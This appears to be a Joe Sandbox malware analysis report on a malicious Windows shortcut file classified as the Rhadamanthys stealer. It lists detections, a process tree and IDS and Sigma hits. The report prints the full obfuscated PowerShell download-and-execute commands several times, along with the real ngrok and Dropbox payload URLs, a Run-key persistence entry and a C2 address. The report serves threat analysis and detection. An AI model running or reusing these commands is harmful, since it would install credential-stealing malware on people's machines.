Edit tour

Windows Analysis Report
KjECqzXLWp.lnk

Overview

General Information

Sample name:	KjECqzXLWp.lnk renamed because original name is a hash value
Original sample name:	10f48fb5d22c80c966c8b51516ecdb712130d96342fe56453ae38b613c57394c.lnk
Analysis ID:	1576187
MD5:	788d10e14721316e78a70a1b0a8b2f88
SHA1:	75d833f1133695d7c9e459894c05cf0a7baea5fa
SHA256:	10f48fb5d22c80c966c8b51516ecdb712130d96342fe56453ae38b613c57394c
Tags:	Compilazioneprotetticopyrightlnkuser-JAMESWT_MHT
Infos:

Detection

RHADAMANTHYS

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Detected unpacking (creates a PE file in dynamic memory)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Windows shortcut file (LNK) starts blacklisted processes

Yara detected RHADAMANTHYS Stealer

AI detected suspicious sample

Creates multiple autostart registry keys

Drops PE files to the document folder of the user

Drops large PE files

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for sample

Maps a DLL or memory area into another process

PowerShell case anomaly found

Powershell drops PE file

Sigma detected: Powerup Write Hijack DLL

Suspicious powershell command line found

Switches to a custom stack to bypass stack traces

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Windows shortcut file (LNK) contains suspicious command line arguments

AV process strings found (often used to terminate AV products)

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a DirectInput object (often for capturing keystrokes)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Detected potential crypto function

Detected suspicious crossdomain redirect

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Installs a raw input device (often for capturing keystrokes)

JA3 SSL client fingerprint seen in connection with other malware

Launches processes in debugging mode, may be used to hinder debugging

May sleep (evasive loops) to hinder dynamic analysis

One or more processes crash

PE file contains sections with non-standard names

Queries disk information (often used to detect virtual machines)

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Sigma detected: PowerShell Web Download

Sigma detected: Usage Of Web Request Commands And Cmdlets

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Yara detected Keylogger Generic

Classification

Process Tree

System is w10x64

cmd.exe (PID: 7496 cmdline: "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa6f17 curl ; sal ave061 iEx ; ave061(aa6f17 -Uri https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7e -UseBasicParsing) MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7504 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7556 cmdline: pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa6f17 curl ; sal ave061 iEx ; ave061(aa6f17 -Uri https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7e -UseBasicParsing) MD5: 04029E121A0CFA5991749937DD22A1D9)

msedge.exe (PID: 7872 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk https://www.dropbox.com/scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8144 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2176 --field-trial-handle=2012,i,14265310462796449585,17629014062588500733,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 9100 cmdline: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\280339642.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 9108 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 9196 cmdline: powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/7h4lmqhsim6jg8ftlpzw9/runner.exe?rlkey=t1ai59v9g7ajzdg92ep3aqz67&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/metadata/e4a88f04990bcb4fecb3cd3c61ff6c7e'; }" MD5: 04029E121A0CFA5991749937DD22A1D9)

msedge.exe (PID: 8696 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk C:\Users\user\AppData\Local\Temp\eb3e365c-3b4e-4f5f-8dad-50533203423c.pdf MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 3916 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2156 --field-trial-handle=2076,i,14980559990425657526,6209362246917279619,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

33937b54-1258-4cce-9d38-c5bceb144cd0.exe (PID: 9780 cmdline: "C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe" MD5: B26B89DA53213C4EC12949A83806B611)

33937b54-1258-4cce-9d38-c5bceb144cd0.exe (PID: 8116 cmdline: "C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe" MD5: B26B89DA53213C4EC12949A83806B611)

fontdrvhost.exe (PID: 9664 cmdline: "C:\Windows\System32\fontdrvhost.exe" MD5: 8D0DA0C5DCF1A14F9D65F5C0BEA53F3D)

fontdrvhost.exe (PID: 8256 cmdline: "C:\Windows\System32\fontdrvhost.exe" MD5: BBCB897697B3442657C7D6E3EDDBD25F)

WerFault.exe (PID: 8320 cmdline: C:\Windows\system32\WerFault.exe -u -p 8256 -s 144 MD5: FD27D9F6D02763BDE32511B5DF7FF7A0)

WerFault.exe (PID: 9572 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 8116 -s 320 MD5: C31336C1EFC2CCB44B4326EA793040F2)

svchost.exe (PID: 8008 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

msedge.exe (PID: 8160 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --kiosk --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate https://www.dropbox.com/scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 4888 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2148 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8556 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6520 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8592 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6704 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

identity_helper.exe (PID: 9032 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7108 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:8 MD5: 76C58E5BABFE4ACF0308AA646FC0F416)

identity_helper.exe (PID: 9052 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7108 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:8 MD5: 76C58E5BABFE4ACF0308AA646FC0F416)

msedge.exe (PID: 7980 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --lang=en-GB --service-sandbox-type=collections --mojo-platform-channel-handle=7920 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 2060 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=ppapi --lang=en-GB --device-scale-factor=1 --ppapi-antialiased-text-enabled=1 --ppapi-subpixel-rendering-setting=1 --mojo-platform-channel-handle=7236 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:6 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8420 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7856 --field-trial-handle=2120,i,2515817633994970963,12243322528325100436,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 9252 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 9512 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2096 --field-trial-handle=2064,i,5180988009760175564,13737899492242719940,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 9796 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start /prefetch:5 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 10016 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2152 --field-trial-handle=2032,i,14501280776939765503,8359820969839019914,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Rhadamanthys	According to PCrisk, Rhadamanthys is a stealer-type malware, and as its name implies - it is designed to extract data from infected machines.At the time of writing, this malware is spread through malicious websites mirroring those of genuine software such as AnyDesk, Zoom, Notepad++, and others. Rhadamanthys is downloaded alongside the real program, thus diminishing immediate user suspicion. These sites were promoted through Google ads, which superseded the legitimate search results on the Google search engine.	Sandworm	https://0xmrmagnezi.github.io/malware%20analysis/Rhadamanthys/ https://blog.cyble.com/2023/01/12/rhadamanthys-new-stealer-spreading-through-google-ads/ https://blog.google/threat-analysis-group/ukraine-remains-russias-biggest-cyber-focus-in-2023 https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.talosintelligence.com/highlighting-ta866-asylum-ambuscade/	https://malpedia.caad.fkie.fraunhofer.de/details/win.rhadamanthys

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
0000001E.00000003.2312771946.00000000001D0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000001E.00000003.2318206814.0000000003BC0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000001F.00000003.2322496710.0000000005350000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000001E.00000003.2318009244.00000000039A0000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000001F.00000003.2319339392.00000000031A0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000001E.00000002.2327391566.0000000001620000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
0000001F.00000003.2323210584.0000000005570000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
0000001F.00000002.2438337254.0000000003340000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_RHADAMANTHYS	Yara detected RHADAMANTHYS Stealer	Joe Security
Process Memory Space: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe PID: 8116	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Process Memory Space: fontdrvhost.exe PID: 9664	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author
30.3.33937b54-1258-4cce-9d38-c5bceb144cd0.exe.3bc0000.7.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
31.3.fontdrvhost.exe.5570000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
30.3.33937b54-1258-4cce-9d38-c5bceb144cd0.exe.3bc0000.7.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
30.3.33937b54-1258-4cce-9d38-c5bceb144cd0.exe.39a0000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security
31.3.fontdrvhost.exe.5350000.6.raw.unpack	JoeSecurity_Keylogger_Generic	Yara detected Keylogger Generic	Joe Security

Sigma Signatures

System Summary

Sigma detected: Powerup Write Hijack DLL

Source: File created

Author: Subhash Popuri (@pbssubhash): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7556, TargetFilename: C:\Users\user\AppData\Local\Temp\280339642.bat

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\Documents\PerfectEnuina\sdk\EnuinaPerfecto.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe, ProcessId: 9780, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\EnuinaPerfecto

Sigma detected: Potential Binary Or Script Dropper Via PowerShell

Source: File created

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: EventID: 11, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7556, TargetFilename: C:\Users\user\AppData\Local\Temp\280339642.bat

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/7h4lmqhsim6jg8ftlpzw9/runner.exe?rlkey=t1ai59v9g7ajzdg92ep3aqz67&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/metadata/e4a88f04990bcb4fecb3cd3c61ff6c7e'; }", CommandLine: powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/7h4lmqhsim6jg8ftlpzw9/runner.exe?rlkey=t1ai59v9g7ajzdg92ep3aqz67&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/metadata/e4a88f04990bcb4fecb3cd3c61ff6c7e'; }", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\280339642.bat" ", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 9100, ParentProcessName: cmd.exe, ProcessCommandLine: powershell -wIndoWStYLe hiDdeN -NoProfile -Command "$RandomPDF = Join-Path -Path $env:TEMP -ChildPath ('{0}.pdf' -f ([guid]::NewGuid())); $RandomEXE = Join-Path -Path $env:TEMP -ChildPath ('{0}.exe' -f ([guid]::NewGuid())); Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/sirgrh5wcotr94vrt7u4y/Lewis-Silkin-LLP.pdf?rlkey=gy86lkfswaic1rpangjd98k9m&dl=1' -OutFile $RandomPDF; Start-Process -FilePath 'msedge.exe' -ArgumentList '--kiosk', $RandomPDF; Invoke-WebRequest -Uri 'https://www.dropbox.com/scl/fi/7h4lmqhsim6jg8ftlpzw9/runner.exe?rlkey=t1ai59v9g7ajzdg92ep3aqz67&dl=1' -OutFile $RandomEXE; Start-Process -FilePath $RandomEXE; if (Test-Path $RandomEXE) { Invoke-WebRequest -Uri 'https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/metadata/e4a88f04990bcb4fecb3cd3c61ff6c7e'; }", ProcessId: 9196, ProcessName: powershell.exe

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa6f17 curl ; sal ave061 iEx ; ave061(aa6f17 -Uri https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7e -UseBasicParsing), CommandLine: "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa6f17 curl ; sal ave061 iEx ; ave061(aa6f17 -Uri https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7e -UseBasicParsing), CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa6f17 curl ; sal ave061 iEx ; ave061(aa6f17 -Uri https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7e -UseBasicParsing), ProcessId: 7496, ProcessName: cmd.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa6f17 curl ; sal ave061 iEx ; ave061(aa6f17 -Uri https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7e -UseBasicParsing), CommandLine: pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa6f17 curl ; sal ave061 iEx ; ave061(aa6f17 -Uri https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7e -UseBasicParsing), CommandLine|base64offset|contains: F,, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa6f17 curl ; sal ave061 iEx ; ave061(aa6f17 -Uri https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7e -UseBasicParsing), ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7496, ParentProcessName: cmd.exe, ProcessCommandLine: pOweRsHeLL -wIndoWStYLe hiDdeN -c set-alias aa6f17 curl ; sal ave061 iEx ; ave061(aa6f17 -Uri https://sywjrhlmpverlyeufij3igz4hnnxuauu.ngrok.app/api/secure/e4a88f04990bcb4fecb3cd3c61ff6c7e -UseBasicParsing), ProcessId: 7556, ProcessName: powershell.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8008, ProcessName: svchost.exe

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T16:14:22.337667+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49735	162.125.69.18	443	TCP
2024-12-16T16:14:36.439555+0100	2803274	2	Potentially Bad Traffic	192.168.2.4	49794	162.125.69.18	443	TCP

ETPRO MALWARE Suspected Rhadamanthys Related SSL Cert

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-16T16:15:09.499004+0100	2854802	1	Domain Observed Used for C2 Detected	162.213.210.250	6499	192.168.2.4	49831	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: KjECqzXLWp.lnk

ReversingLabs: Detection: 18%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: KjECqzXLWp.lnk

Joe Sandbox ML: detected

Compliance

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\AppData\Local\Temp\33937b54-1258-4cce-9d38-c5bceb144cd0.exe

Unpacked PE file: 27.2.33937b54-1258-4cce-9d38-c5bceb144cd0.exe.1070000.2.unpack

Source: unknown	HTTPS traffic detected: 3.6.122.107:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.18:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.4:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.18:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.65.15:443 -> 192.168.2.4:49780 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.125.69.15:443 -> 192.168.2.4:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.6.122.107:443 -> 192.168.2.4:49803 version: TLS 1.2

Source:	Binary string: softy.pdbll source: powershell.exe, 00000014.00000002.2251004211.0000022EE114F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdb source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2317606487.00000000039A0000.00000004.00000001.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2317724743.0000000003AC0000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001F.00000003.2321937249.0000000005350000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001F.00000003.2322058354.0000000005470000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: \exe\FC.pdb source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000000.2128011569.00000000005B5000.00000002.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2351929941.00000000005B5000.00000002.00000001.01000000.00000014.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001B.00000002.2353422668.0000000003480000.00000004.00001000.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000000.2300777894.00000000005B5000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: .Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000014.00000002.2255748281.00000236E29D2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdb source: powershell.exe, 00000014.00000002.2255197904.00000236E2989000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2318206814.0000000003BC0000.00000004.00000001.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2318009244.00000000039A0000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001F.00000003.2322496710.0000000005350000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001F.00000003.2323210584.0000000005570000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2314811768.00000000039A0000.00000004.00000001.00020000.00000000.sdmp, 33937b54-1258-4cce-9d38-c5bceb144cd0.exe, 0000001E.00000003.2315160104.0000000003B90000.00000004.00000001.00020000.00000000.sdmp, fontdrvhost.exe, 0000001F.00000003.2320864510.0000000005350000.00000004.00000001.00020000.00000000.sdmp
